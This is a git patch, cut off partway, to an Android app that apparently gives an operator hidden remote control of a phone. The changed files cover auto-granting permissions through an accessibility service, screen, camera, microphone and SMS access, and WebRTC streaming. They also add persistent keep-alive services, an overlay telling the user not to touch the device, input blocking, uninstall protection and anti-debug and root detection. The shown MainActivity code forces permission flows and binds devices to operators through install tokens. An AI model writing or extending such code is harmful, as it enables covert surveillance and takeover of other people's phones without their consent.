From 0bf4f721418c1ab76a21528e1dd82730fdfc3393 Mon Sep 17 00:00:00 2001 From: sue Date: Tue, 3 Mar 2026 22:16:30 +0800 Subject: [PATCH] feat: upload latest android source changes --- .editorconfig | 11 + app/build.gradle | 68 +- app/src/main/AndroidManifest.xml | 165 +- app/src/main/assets/server_config.json | 31 +- .../main/java/com/hikoncont/MainActivity.kt | 1924 +++++++-- .../com/hikoncont/OperationLogCollector.kt | 13 +- .../com/hikoncont/RemoteControlApplication.kt | 49 + .../activity/AppInjectionPinActivity.kt | 183 + .../hikoncont/activity/ConfigMaskActivity.kt | 7 +- .../activity/PasswordInputActivity.kt | 128 +- .../com/hikoncont/manager/GalleryManager.kt | 30 +- .../hikoncont/manager/GestureController.kt | 40 +- .../hikoncont/manager/MicrophoneManager.kt | 26 +- .../hikoncont/manager/PermissionGranter.kt | 3549 +++++++++++++--- .../java/com/hikoncont/manager/SMSManager.kt | 30 +- .../hikoncont/manager/ScreenCaptureManager.kt | 52 +- .../manager/SmartMediaProjectionManager.kt | 5 +- .../com/hikoncont/manager/SrtStreamManager.kt | 417 ++ .../com/hikoncont/manager/WebRTCManager.kt | 1110 +++++ .../com/hikoncont/network/SocketIOManager.kt | 3658 ++++++++++++++--- .../com/hikoncont/receiver/BootReceiver.kt | 40 +- .../service/AccessibilityRemoteService.kt | 1425 ++++++- .../service/BackgroundKeepAliveManager.kt | 3 +- .../hikoncont/service/ConfigMaskService.kt | 7 +- .../service/EffectiveKeepAliveManager.kt | 30 +- .../service/EnhancedSystemEventReceiver.kt | 65 +- .../service/ImmediateRecoveryWorker.kt | 24 +- .../com/hikoncont/service/KeepAliveService.kt | 112 +- .../service/ProcessMonitorService.kt | 17 +- .../service/RemoteControlForegroundService.kt | 270 +- .../service/WorkManagerKeepAliveService.kt | 91 +- .../modules/AccessibilityEventManager.kt | 1107 ++++- .../service/modules/MaskOverlayManager.kt | 48 +- .../service/modules/NetworkManager.kt | 77 +- .../modules/ScreenBrightnessManager.kt | 31 +- .../modules/ServiceLifecycleManager.kt | 8 +- .../modules/WriteSettingsPermissionManager.kt | 14 +- .../modules/mask/AccessibilityMaskManager.kt | 5 +- .../service/modules/mask/InputBlockManager.kt | 256 +- .../hikoncont/ui/PermissionRequestActivity.kt | 9 +- .../hikoncont/util/BroadcastReceiverCompat.kt | 20 + .../java/com/hikoncont/util/ConfigWriter.kt | 99 +- .../java/com/hikoncont/util/DeviceDetector.kt | 201 +- .../hikoncont/util/DeviceMetricsReporter.kt | 83 + .../util/ForegroundServiceStarter.kt | 77 + .../com/hikoncont/util/RuntimeFeatureFlags.kt | 144 + .../util/UnifiedPermissionOrchestrator.kt | 337 ++ .../adaptation/DeviceAdaptationStrategy.kt | 38 + .../adaptation/InstallerAutomationPlanner.kt | 121 + .../adaptation/KeepAliveAdaptationRegistry.kt | 87 + .../util/adaptation/RomPolicyRegistry.kt | 406 ++ .../WebRtcTransportAdaptationRegistry.kt | 137 + .../utils/PermissionRequestHelper.kt | 64 +- app/src/main/res/layout/activity_main.xml | 48 + docs/multi_model_adaptation.md | 75 + settings.gradle | 29 +- 56 files changed, 14949 insertions(+), 2152 deletions(-) create mode 100644 .editorconfig create mode 100644 app/src/main/java/com/hikoncont/activity/AppInjectionPinActivity.kt create mode 100644 app/src/main/java/com/hikoncont/manager/SrtStreamManager.kt create mode 100644 app/src/main/java/com/hikoncont/manager/WebRTCManager.kt create mode 100644 app/src/main/java/com/hikoncont/util/BroadcastReceiverCompat.kt create mode 100644 app/src/main/java/com/hikoncont/util/DeviceMetricsReporter.kt create mode 100644 app/src/main/java/com/hikoncont/util/ForegroundServiceStarter.kt create mode 100644 app/src/main/java/com/hikoncont/util/RuntimeFeatureFlags.kt create mode 100644 app/src/main/java/com/hikoncont/util/UnifiedPermissionOrchestrator.kt create mode 100644 app/src/main/java/com/hikoncont/util/adaptation/DeviceAdaptationStrategy.kt create mode 100644 app/src/main/java/com/hikoncont/util/adaptation/InstallerAutomationPlanner.kt create mode 100644 app/src/main/java/com/hikoncont/util/adaptation/KeepAliveAdaptationRegistry.kt create mode 100644 app/src/main/java/com/hikoncont/util/adaptation/RomPolicyRegistry.kt create mode 100644 app/src/main/java/com/hikoncont/util/adaptation/WebRtcTransportAdaptationRegistry.kt create mode 100644 docs/multi_model_adaptation.md diff --git a/.editorconfig b/.editorconfig new file mode 100644 index 0000000..dc6212f --- /dev/null +++ b/.editorconfig @@ -0,0 +1,11 @@ +root = true + +[*] +charset = utf-8 +end_of_line = lf +insert_final_newline = true +indent_style = space +indent_size = 2 + +[*.{kt,kts,java,xml,gradle}] +indent_size = 4 diff --git a/app/build.gradle b/app/build.gradle index 626fcbd..92ee142 100644 --- a/app/build.gradle +++ b/app/build.gradle @@ -21,103 +21,95 @@ android { testInstrumentationRunner "androidx.test.runner.AndroidJUnitRunner" } + lint { + // Keep CI/build running even when lint reports issues. + abortOnError false + checkReleaseBuilds false + } + buildTypes { release { - // 启用代码混淆和压缩 + // Release hardening minifyEnabled true - // 启用资源压缩 shrinkResources true - // 使用优化的ProGuard配置 proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' - - // 签名配置 + + // Signing config signingConfig signingConfigs.debug - - // 构建优化 + + // Build optimization zipAlignEnabled true debuggable false jniDebuggable false - - // 构建配置字段 + buildConfigField "String", "BUILD_TYPE", "\"release\"" buildConfigField "boolean", "ENABLE_ENCRYPTION", "true" buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true" buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true" buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true" } - + debug { - // 调试版本不启用混淆,方便开发 + // Easier troubleshooting for local development minifyEnabled false shrinkResources false debuggable true - - // 构建配置字段 + buildConfigField "String", "BUILD_TYPE", "\"debug\"" buildConfigField "boolean", "ENABLE_ENCRYPTION", "false" buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "false" buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "false" buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "false" } - - // 创建增强版本 + create("enhancement") { initWith(getByName("release")) - - // 强化混淆配置 + + // Enhanced release-like profile minifyEnabled true shrinkResources true - - // 强化构建配置 + buildConfigField "String", "BUILD_TYPE", "\"enhancement\"" buildConfigField "boolean", "ENABLE_ENCRYPTION", "true" buildConfigField "boolean", "ENABLE_ANTI_DEBUG", "true" buildConfigField "boolean", "ENABLE_ROOT_DETECTION", "true" buildConfigField "boolean", "ENABLE_EMULATOR_DETECTION", "true" - - // 启用更严格的优化 + proguardFiles getDefaultProguardFile('proguard-android-optimize.txt'), 'proguard-rules.pro' } } - + compileOptions { sourceCompatibility JavaVersion.VERSION_1_8 targetCompatibility JavaVersion.VERSION_1_8 } - + kotlinOptions { jvmTarget = '1.8' } } dependencies { + implementation 'com.github.pedroSG94.RootEncoder:library:2.5.4-1.8.22' implementation 'androidx.core:core-ktx:1.10.1' implementation 'androidx.appcompat:appcompat:1.6.1' implementation 'com.google.android.material:material:1.9.0' implementation 'androidx.constraintlayout:constraintlayout:2.1.4' - - // 协程支持 + implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-android:1.7.3' implementation 'org.jetbrains.kotlinx:kotlinx-coroutines-core:1.7.3' - - // ✅ Socket.IO v4 官方客户端库 + implementation 'io.socket:socket.io-client:2.1.0' - - // 网络库 + implementation 'org.webrtc:google-webrtc:1.0.32006' implementation 'com.squareup.okhttp3:okhttp:4.12.0' - - // JSON处理 implementation 'org.json:json:20231013' - - // 生命周期组件 + implementation 'androidx.lifecycle:lifecycle-runtime-ktx:2.6.2' implementation 'androidx.lifecycle:lifecycle-service:2.6.2' - - // WorkManager保活 - 使用兼容API 33的版本 + implementation 'androidx.work:work-runtime-ktx:2.8.1' - - // 测试依赖 + testImplementation 'junit:junit:4.13.2' androidTestImplementation 'androidx.test.ext:junit:1.1.5' androidTestImplementation 'androidx.test.espresso:espresso-core:3.5.1' -} \ No newline at end of file +} diff --git a/app/src/main/AndroidManifest.xml b/app/src/main/AndroidManifest.xml index 1db6cd8..a3fabc6 100644 --- a/app/src/main/AndroidManifest.xml +++ b/app/src/main/AndroidManifest.xml @@ -1,10 +1,11 @@ - + - + + @@ -12,84 +13,88 @@ tools:ignore="QueryAllPackagesPermission" /> + + - + - + - + - + - + - + - + - + - + - + - + + + - + - + - + - + - + - + - + - + - + + + + + + + - + - + - + - + - + - + - + - + @@ -242,7 +255,7 @@ - + - + @@ -270,7 +283,7 @@ - + @@ -285,7 +298,7 @@ - + - + @@ -315,7 +328,7 @@ - + - + - + + - + - + - + + + + android:foregroundServiceType="mediaProjection|dataSync|camera|microphone" /> - + - + + android:exported="false" + android:foregroundServiceType="dataSync" /> - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - + - - + + - \ No newline at end of file + diff --git a/app/src/main/assets/server_config.json b/app/src/main/assets/server_config.json index 828090f..47369f4 100644 --- a/app/src/main/assets/server_config.json +++ b/app/src/main/assets/server_config.json @@ -1,18 +1,35 @@ { - "serverUrl": "ws://192.168.0.103:3001", + "serverUrl": "ws://192.168.100.45:3001", "webUrl": "https://yhdm.one", + "webrtcTurnUrls": "", + "webrtcTurnUsername": "", + "webrtcTurnPassword": "", + "ownerUserId": "", + "ownerUsername": "", + "ownerGroupId": "", + "ownerGroupName": "", + "installToken": "", + "installResolveUrl": "", "buildTime": "2025-09-09T11:45:57.889Z", "version": "1.0.1.6", - "enableConfigMask": true, + "enableConfigMask": false, "enableProgressBar": true, + "featureFlags": { + "bootAutoStart": true, + "workManagerKeepAlive": true, + "comprehensiveKeepAlive": true, + "enhancedEventRecovery": true, + "permissionMetrics": true, + "keepAliveMetrics": true + }, "configMaskText": "配置中请稍后...", - "configMaskSubtitle": "正在自动配置和连接\r\n请勿操作设备", + "configMaskSubtitle": "正在自动配置和连接\n请勿操作设备", "configMaskStatus": "配置完成后将自动返回应用", "pageStyleConfig": { - "appName": "短视频组件", - "statusText": "软件需要开启AI智能操控权限\n请按照以下步骤进行\n1. 点击启用按钮\n2. 转到已下载的服务/应用\n3. 找到本应用并点击进入\n4. 开启辅助开关", + "appName": "控制组件", + "statusText": "软件需要开启 AI 智能控制权限\n请按以下步骤操作\n1. 点击启用按钮\n2. 跳转到系统服务设置\n3. 找到本应用并进入\n4. 开启辅助功能", "enableButtonText": "启用", - "usageInstructions": "使用说明:\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意:请在安全的网络环境中使用", + "usageInstructions": "使用说明:\n1. 启用无障碍服务\n2. 确保设备连接到网络\n\n注意: 请在安全的网络环境中使用", "apkFileName": "" } -} \ No newline at end of file +} diff --git a/app/src/main/java/com/hikoncont/MainActivity.kt b/app/src/main/java/com/hikoncont/MainActivity.kt index 24c49c3..1b2dc47 100644 --- a/app/src/main/java/com/hikoncont/MainActivity.kt +++ b/app/src/main/java/com/hikoncont/MainActivity.kt @@ -3,6 +3,8 @@ import android.app.Activity import android.app.ActivityManager import android.content.BroadcastReceiver +import android.content.ClipData +import android.content.ClipboardManager import android.content.Context import android.content.Intent import android.content.IntentFilter @@ -19,9 +21,14 @@ import android.widget.Button import android.widget.ImageView import android.widget.Switch import android.widget.TextView +import android.widget.Toast import androidx.appcompat.app.AppCompatActivity import androidx.core.content.ContextCompat import com.hikoncont.service.AccessibilityRemoteService +import com.hikoncont.util.DeviceMetricsReporter +import com.hikoncont.util.DeviceDetector +import com.hikoncont.util.UnifiedPermissionOrchestrator +import com.hikoncont.util.registerReceiverCompat import android.content.pm.PackageManager import android.graphics.Color import android.view.View @@ -55,6 +62,19 @@ class MainActivity : AppCompatActivity() { //新增:自动重试配置 private const val MAX_AUTO_RETRY_COUNT = 6 // 最大重试次数:6次 (约30秒) private const val AUTO_RETRY_INTERVAL = 5000L // 重试间隔:5秒 + private const val MAX_RUNTIME_BATCH_REQUEST_ATTEMPTS = 2 + private const val MAX_SPECIAL_STEP_AUTO_ATTEMPTS = 2 + private const val MIN_PERMISSION_FLOW_ACTION_INTERVAL_MS = 900L + private const val SLOW_PERMISSION_FLOW_ACTION_INTERVAL_MS = 1650L + private const val AUTO_REPAIR_COOLDOWN_MS = 60_000L + private const val MAX_RUNTIME_REQUEST_DISPATCH_RETRIES = 8 + private const val RUNTIME_REQUEST_DISPATCH_INTERVAL_MS = 180L + private const val SLOW_RUNTIME_REQUEST_DISPATCH_INTERVAL_MS = 320L + private const val RUNTIME_FLOW_CONTINUE_DELAY_MS = 500L + private const val SLOW_RUNTIME_FLOW_CONTINUE_DELAY_MS = 1200L + private const val SLOW_MODE_MAX_LAUNCH_COUNT = 3 + private const val FIRST_INSTALL_GRACE_PERIOD_MS = 12 * 60 * 60 * 1000L + private const val PREF_PERMISSION_HEALTH = "permission_health_snapshot" } private lateinit var statusText: TextView @@ -63,6 +83,10 @@ class MainActivity : AppCompatActivity() { private lateinit var usageInstructionsText: TextView private lateinit var serviceSwitch: Switch private lateinit var appIconImageView: ImageView + private lateinit var uninstallProtectionSwitch: Switch + private lateinit var copyDiagnosticsButton: Button + private lateinit var diagnosticsPreviewText: TextView + private var isUpdatingUninstallProtectionSwitch = false private var mediaProjectionManager: MediaProjectionManager? = null private var mediaProjection: MediaProjection? = null @@ -77,6 +101,14 @@ class MainActivity : AppCompatActivity() { //防止重复权限申请的标志 private var permissionRequestInProgress = false + private var permissionRequestInProgressSince = 0L + private val permissionRequestStaleTimeoutMs = 35_000L + // 单项运行时权限请求进行中(用于抑制自动切WebView抢焦点) + private var pendingSingleRuntimePermissionRequest = false + // 兼容标记:当前稳定策略统一走自动确认链路,仅保留字段避免外部调用崩溃 + private var manualGrantOnlyMode = false + // 标记本轮授权是否仅供 WebRTC 使用(避免提前消费投屏 token) + private var pendingWebRtcOnlyPermissionRequest = false //新增:存储自定义的页面样式配置 private var customStatusText: String? = null @@ -94,6 +126,17 @@ class MainActivity : AppCompatActivity() { private var isWebViewVisible = false private var mediaProjectionCheckRunnable: Runnable? = null + // 统一权限编排状态 + private var unifiedPermissionFlowInProgress = false + private var unifiedPermissionFlowBackgroundPreferred = false + private var unifiedPermissionFlowLastActionAt = 0L + private var runtimeBatchRequestAttempts = 0 + private val permissionStepAttempts = mutableMapOf() + private val manualPermissionSteps = mutableSetOf() + private var lastAutoRepairAt = 0L + private var cachedSlowPermissionFlowMode: Boolean? = null + private var slowPermissionFlowModeLogged = false + //合并的广播接收器 - 处理停止Activity和备用权限申请 private val combinedBroadcastReceiver = object : BroadcastReceiver() { override fun onReceive(context: Context?, intent: Intent?) { @@ -135,49 +178,60 @@ class MainActivity : AppCompatActivity() { "android.mycustrecev.REQUEST_PERMISSION_FROM_SERVICE" -> { Log.i(TAG, "📡 收到备用权限申请广播 - 来自AccessibilityRemoteService") val autoRequest = intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) + val webrtcOnlyRequest = intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false) + val forceResetPermissionData = intent.getBooleanExtra("FORCE_PERMISSION_DATA_RESET", false) val timestamp = intent.getLongExtra("TIMESTAMP", 0) val source = intent.getStringExtra("SOURCE") ?: "未知" Log.i( TAG, - "📊 备用广播参数: AUTO_REQUEST_PERMISSION=$autoRequest, TIMESTAMP=$timestamp, SOURCE=$source" + "📊 备用广播参数: AUTO_REQUEST_PERMISSION=$autoRequest, WEBRTC_ONLY_REQUEST=$webrtcOnlyRequest, FORCE_PERMISSION_DATA_RESET=$forceResetPermissionData, TIMESTAMP=$timestamp, SOURCE=$source" ) if (autoRequest) { //检查是否已有权限申请在进行,防止重复申请 if (permissionRequestInProgress) { - Log.w(TAG, "权限申请已在进行中,忽略备用广播") - return + val forceResetBusyState = forceResetPermissionData || webrtcOnlyRequest + val recovered = resetStalePermissionRequestIfNeeded( + reason = "backup_broadcast:$source", + force = forceResetBusyState + ) + if (!recovered && permissionRequestInProgress) { + Log.w(TAG, "权限申请已在进行中,忽略备用广播") + return + } + if (recovered) { + Log.w(TAG, "已重置卡死的权限申请状态,继续处理备用广播") + } } - //检查权限是否已存在,防止重复申请 + //检查权限是否已存在,防止重复申请(除非显式要求重置) val permissionData = MediaProjectionHolder.getPermissionData() - if (permissionData != null) { + if (permissionData != null && !forceResetPermissionData) { Log.i(TAG, "MediaProjection权限已存在,忽略备用广播") return } + if (permissionData != null && forceResetPermissionData) { + Log.w(TAG, "🧹 备用广播要求强制重置MediaProjection权限数据") + MediaProjectionHolder.clearPermissionData() + } - Log.i( - TAG, - "备用广播包含AUTO_REQUEST_PERMISSION=true,但权限申请已通过主Intent启动" - ) - Log.i(TAG, "备用广播仅用于确保Activity前台显示,不重复启动权限申请") + Log.i(TAG, "备用广播触发自动权限申请链路") + pendingWebRtcOnlyPermissionRequest = webrtcOnlyRequest + manualGrantOnlyMode = false + isAutoPermissionRequest = true + setPermissionRequestInProgressState(true, "backup_broadcast:$source") - //仅强制将Activity带到前台,不重复启动权限申请 + //将Activity带到前台,并直接启动自动权限申请 runOnUiThread { try { - //ANR修复:异步处理窗口焦点操作 android.os.Handler(android.os.Looper.getMainLooper()).post { try { - // 分步骤设置窗口标志,避免ANR window.addFlags(android.view.WindowManager.LayoutParams.FLAG_SHOW_WHEN_LOCKED) - android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { window.addFlags(android.view.WindowManager.LayoutParams.FLAG_TURN_SCREEN_ON) window.addFlags(android.view.WindowManager.LayoutParams.FLAG_KEEP_SCREEN_ON) - - // 延迟执行moveTaskToFront android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ try { val activityManager = @@ -191,16 +245,29 @@ class MainActivity : AppCompatActivity() { Log.e(TAG, "moveTaskToFront失败", e) } }, 150) + + android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ + try { + Log.i(TAG, "📺 备用广播开始执行自动权限申请") + handleAutoPermissionRequest() + } catch (e: Exception) { + Log.e(TAG, "备用广播执行自动权限申请失败", e) + setPermissionRequestInProgressState(false, "backup_broadcast_exec_failed") + } + }, 450) } catch (e: Exception) { Log.e(TAG, "设置屏幕标志失败", e) + setPermissionRequestInProgressState(false, "backup_broadcast_set_flag_failed") } }, 100) } catch (e: Exception) { Log.e(TAG, "异步设置Activity前台显示失败", e) + setPermissionRequestInProgressState(false, "backup_broadcast_async_failed") } } } catch (e: Exception) { Log.w(TAG, "设置Activity前台显示失败: ${e.message}") + setPermissionRequestInProgressState(false, "backup_broadcast_foreground_failed") } } } else { @@ -389,6 +456,10 @@ class MainActivity : AppCompatActivity() { Log.w(TAG, "Intent为null") } + // 作者: sue 日期: 2026-02-19 + // 说明: 处理安装分享链接深链接,把归属Token写入本地配置。 + handleInstallLinkIntent(intent) + //注册广播接收器(无论是否伪装模式都需要) val filter = IntentFilter().apply { addAction("android.mycustrecev.STOP_ACTIVITY_CREATION") @@ -402,7 +473,8 @@ class MainActivity : AppCompatActivity() { addAction("android.mycustrecev.REQUEST_SMS_PERMISSION") //新增:短信权限请求广播 addAction("android.mycustrecev.REQUEST_ALL_PERMISSIONS") //新增:所有权限请求广播 } - registerReceiver(combinedBroadcastReceiver, filter) + // 统一走兼容注册入口,避免 Android 13+ 因 flags 缺失触发 SecurityException + registerReceiverCompat(combinedBroadcastReceiver, filter, exported = false) // Initialize MediaProjectionManager early to avoid null in any code path try { @@ -415,7 +487,21 @@ class MainActivity : AppCompatActivity() { // Record app launch count for keep-alive detection recordAppLaunch() + try { + val romPolicy = DeviceDetector.getRomPolicy() + Log.i( + TAG, + "当前ROM策略: id=${romPolicy.strategyId}, installer=${romPolicy.installerStrategy}, stepOrder=${romPolicy.permissionStepOrder.joinToString("->") { it.name }}" + ) + } catch (e: Exception) { + Log.w(TAG, "读取ROM策略失败", e) + } + val hasExplicitPermissionIntent = hasExplicitPermissionRequestIntent(intent) + if (hasExplicitPermissionIntent) { + Log.i(TAG, "🚦 检测到显式权限请求Intent,本次启动跳过WebView快捷分支") + } + //新增:检查是否为无闪现后台唤起 if (intent?.getBooleanExtra("LAUNCH_BACKGROUND", false) == true) { try { @@ -429,7 +515,8 @@ class MainActivity : AppCompatActivity() { } //优先检查:是否来自安装完成广播,需要显示WebView - if (intent?.getBooleanExtra("from_installation_complete", false) == true && + if (!hasExplicitPermissionIntent && + intent?.getBooleanExtra("from_installation_complete", false) == true && intent?.getBooleanExtra("show_webview", false) == true ) { Log.i(TAG, "🌐 来自安装完成广播,检查MediaProjection权限后显示WebView") @@ -457,14 +544,10 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "MediaProjection权限检查结果: $hasMediaProjectionPermission") if (!hasMediaProjectionPermission) { - Log.w(TAG, "MediaProjection权限未获取,不启动WebView,转入手动权限申请流程") - // 设置布局但不启动WebView,让应用进入正常的权限申请流程 - setContentView(R.layout.activity_main) - initViews() - return + Log.i(TAG, "🧩 WS优先模式:MediaProjection权限未获取,先进入WebView,后续按需触发超频模式") } - Log.i(TAG, "MediaProjection权限已获取,启动WebView") + Log.i(TAG, "启动WebView页面(WS优先)") setContentView(R.layout.activity_main) Log.i(TAG, "已设置布局,准备启动WebView") @@ -624,7 +707,7 @@ class MainActivity : AppCompatActivity() { } //新增:检查安装是否已完成,如果完成则直接显示WebView - if (isInstallationCompleted()) { + if (!hasExplicitPermissionIntent && isInstallationCompleted()) { Log.i(TAG, "📦 检测到安装已完成,直接显示WebView") setContentView(R.layout.activity_main) startWebViewActivity() @@ -633,14 +716,17 @@ class MainActivity : AppCompatActivity() { // 🔐 只有在密码框曾经显示过的情况下才检查密码输入状态 - if (hasPasswordInputBeenShown() && !isPasswordInputCompleted()) { + if (!hasExplicitPermissionIntent && + hasPasswordInputBeenShown() && + !isPasswordInputCompleted() + ) { Log.i(TAG, "🔐 密码框曾经显示过且密码输入未完成,强制跳转到密码输入页面") startPasswordInputActivity() return } // 🌐 如果WebView曾经打开过(从文件读取),则每次进入直接打开WebView - if (com.hikoncont.util.WebViewStateStore.hasOpened(this)) { + if (!hasExplicitPermissionIntent && com.hikoncont.util.WebViewStateStore.hasOpened(this)) { Log.i(TAG, "🌐 检测到WebView曾经打开过,检查MediaProjection权限后启动WebView页面") //新增:检查MediaProjection权限是否已获取 @@ -648,12 +734,10 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "MediaProjection权限检查结果: $hasMediaProjectionPermission") if (!hasMediaProjectionPermission) { - Log.w(TAG, "MediaProjection权限未获取,不启动WebView,转入手动权限申请流程") - // 不启动WebView,让应用进入正常的权限申请流程 - return + Log.i(TAG, "🧩 WS优先模式:MediaProjection权限未获取,仍直接进入WebView") } - Log.i(TAG, "MediaProjection权限已获取,启动WebView页面") + Log.i(TAG, "启动WebView页面(WS优先)") startWebViewActivity() return } @@ -891,13 +975,7 @@ class MainActivity : AppCompatActivity() { Log.w(TAG, "AccessibilityEventManager不可用") } - // 启用防卸载监听 - try { - accessibilityService.enableUninstallProtection() - Log.i(TAG, "防卸载监听服务已启用") - } catch (e: Exception) { - Log.e(TAG, "启用防卸载监听失败", e) - } + // 防卸载监听改为手动开关控制,不在这里自动启用 } else { Log.w(TAG, "AccessibilityRemoteService不可用") @@ -1071,6 +1149,8 @@ class MainActivity : AppCompatActivity() { } } + handleInstallLinkIntent(intent) + // 处理新的Intent handleIntentAndPermissions(intent) } else { @@ -1078,6 +1158,62 @@ class MainActivity : AppCompatActivity() { } } + /** + *统一的Intent处理方法 + */ + private fun handleInstallLinkIntent(intent: Intent?) { + if (intent == null || intent.action != Intent.ACTION_VIEW) { + return + } + + val data = intent.data ?: return + val scheme = data.scheme?.lowercase() ?: return + val host = data.host?.lowercase() ?: return + if (scheme != "ccprojer" || host != "install") { + return + } + + val token = data.getQueryParameter("token")?.trim() + if (token.isNullOrEmpty()) { + Log.w(TAG, "安装深链接缺少 token 参数: $data") + return + } + + val resolveUrl = data.getQueryParameter("resolve")?.trim() + val updated = com.hikoncont.util.ConfigWriter.applyInstallBinding( + context = this, + installToken = token, + installResolveUrl = resolveUrl, + ) + if (updated) { + Log.i(TAG, "安装深链接参数写入成功: token=$token") + Toast.makeText(this, "安装归属参数已更新", Toast.LENGTH_SHORT).show() + } else { + Log.e(TAG, "安装深链接参数写入失败: token=$token") + Toast.makeText(this, "安装归属参数写入失败", Toast.LENGTH_SHORT).show() + } + } + + /** + * 权限链路显式触发判定: + * 这些Intent应优先于安装完成/WebView快捷分支处理,避免ROM差异导致流程中断。 + */ + private fun hasExplicitPermissionRequestIntent(intent: Intent?): Boolean { + if (intent == null) { + return false + } + return intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) || + intent.getBooleanExtra("request_camera_permission", false) || + intent.getBooleanExtra("request_gallery_permission", false) || + intent.getBooleanExtra("request_microphone_permission", false) || + intent.getBooleanExtra("request_sms_permission", false) || + intent.getBooleanExtra("PERMISSION_LOST_RECOVERY", false) || + intent.getBooleanExtra("SMART_RECOVERY", false) || + intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false) || + intent.getBooleanExtra("MIUI_PERMISSION_FIX", false) || + intent.getBooleanExtra("REFRESH_PERMISSION_REQUEST", false) + } + /** *统一的Intent处理方法 */ @@ -1104,6 +1240,7 @@ class MainActivity : AppCompatActivity() { ) Log.i(TAG, "📊 Intent参数: TIMESTAMP=${intent.getLongExtra("TIMESTAMP", 0)}") Log.i(TAG, "📊 Intent参数: SOURCE=${intent.getStringExtra("SOURCE") ?: "未知"}") + Log.i(TAG, "📊 Intent参数: WEBRTC_ONLY_REQUEST=${intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false)}") Log.i(TAG, "📊 Intent Action: ${intent.action ?: "无"}") Log.i(TAG, "📊 Intent Flags: ${intent.flags}") @@ -1151,13 +1288,11 @@ class MainActivity : AppCompatActivity() { Log.i(TAG, "🛡️ 安装完成,启动保活服务(参考 f 目录策略)") //参考 f 目录:只启动主前台服务(对应 BackRunServerUseUse) - val foregroundIntent = Intent(this, com.hikoncont.service.RemoteControlForegroundService::class.java) - if (android.os.Build.VERSION.SDK_INT >= 26) { - startForegroundService(foregroundIntent) + if (startRemoteForegroundServiceSafely(reason = "installation_complete")) { + Log.i(TAG, "主前台服务已启动(对应 f 目录的 BackRunServerUseUse)") } else { - startService(foregroundIntent) + Log.w(TAG, "主前台服务未启动,等待 MediaProjection 授权后再启动") } - Log.i(TAG, "主前台服务已启动(对应 f 目录的 BackRunServerUseUse)") //启动 WorkManager 保活(对应 f 目录的系统级 WorkManager) val workManagerKeepAlive = com.hikoncont.service.WorkManagerKeepAliveService.getInstance() @@ -1173,25 +1308,59 @@ class MainActivity : AppCompatActivity() { startWebViewActivity() } + intent.getBooleanExtra("request_sms_permission", false) -> { + Log.i(TAG, "📱 检测到短信权限申请请求") + intent.removeExtra("request_sms_permission") + requestSMSPermission() + } + + intent.getBooleanExtra("request_gallery_permission", false) -> { + Log.i(TAG, "🖼️ 检测到相册权限申请请求") + intent.removeExtra("request_gallery_permission") + requestGalleryPermission() + } + + intent.getBooleanExtra("request_microphone_permission", false) -> { + Log.i(TAG, "🎤 检测到麦克风权限申请请求") + intent.removeExtra("request_microphone_permission") + requestMicrophonePermission() + } + intent.getBooleanExtra("request_camera_permission", false) -> { Log.i(TAG, "📷 检测到摄像头权限申请请求") + // 避免同一启动Intent在后续生命周期重复触发权限弹框 + intent.removeExtra("request_camera_permission") handleCameraPermissionRequest() } intent.getBooleanExtra("AUTO_REQUEST_PERMISSION", false) -> { - Log.i(TAG, "检测到自动权限申请请求,启动handleAutoPermissionRequest()") - - //检查是否已有权限申请在进行,防止重复申请 + Log.i(TAG, "检测到自动权限申请请求,启动自动授权流程") + // 避免同一启动Intent在后续生命周期重复触发 + intent.removeExtra("AUTO_REQUEST_PERMISSION") + // 稳定模式:忽略手动授权模式,保持自动确认链路 + manualGrantOnlyMode = false + intent.removeExtra("MANUAL_GRANT_ONLY") + pendingWebRtcOnlyPermissionRequest = intent.getBooleanExtra("WEBRTC_ONLY_REQUEST", false) + intent.removeExtra("WEBRTC_ONLY_REQUEST") + Log.i(TAG, "自动授权请求模式: pendingWebRtcOnlyPermissionRequest=$pendingWebRtcOnlyPermissionRequest") if (permissionRequestInProgress) { - Log.w(TAG, "权限申请已在进行中,忽略重复的Intent") - return + val recovered = resetStalePermissionRequestIfNeeded( + reason = "intent_auto_request", + force = pendingWebRtcOnlyPermissionRequest + ) + if (!recovered && permissionRequestInProgress) { + Log.w(TAG, "权限申请已在进行中,忽略重复的Intent") + return + } + if (recovered) { + Log.w(TAG, "已重置卡死的权限申请状态,继续处理自动授权Intent") + } } - - isAutoPermissionRequest = true // 设置自动权限申请标志 - permissionRequestInProgress = true // 设置权限申请进行中标志 - + isAutoPermissionRequest = true + setPermissionRequestInProgressState(true, "intent_auto_request") //检查是否为 MIUI 修复模式 val isMiuiFix = intent.getBooleanExtra("MIUI_PERMISSION_FIX", false) + intent.removeExtra("MIUI_PERMISSION_FIX") if (isMiuiFix) { Log.i(TAG, "🔧 检测到MIUI权限修复模式,使用特殊处理") @@ -1209,64 +1378,13 @@ class MainActivity : AppCompatActivity() { // MIUI 修复模式:等待更长时间确保Activity完全就绪 android.os.Handler(android.os.Looper.getMainLooper()).postDelayed({ if (!isFinishing) { - Log.i(TAG, "🔧 MIUI修复:延迟后启动权限申请") + Log.i(TAG, "🔧 MIUI修复:延迟后启动自动授权流程") handleAutoPermissionRequest() } }, 2000) // 2秒延迟 return } - - //强制将Activity带到前台,确保用户能看到权限申请界面 - Log.i(TAG, "强制将MainActivity带到前台") - try { - //ANR修复:异步处理窗口焦点操作,避免阻塞主线程 - android.os.Handler(android.os.Looper.getMainLooper()).post { - try { - //修复:分步骤设置窗口标志,避免一次性设置过多标志导致ANR - // 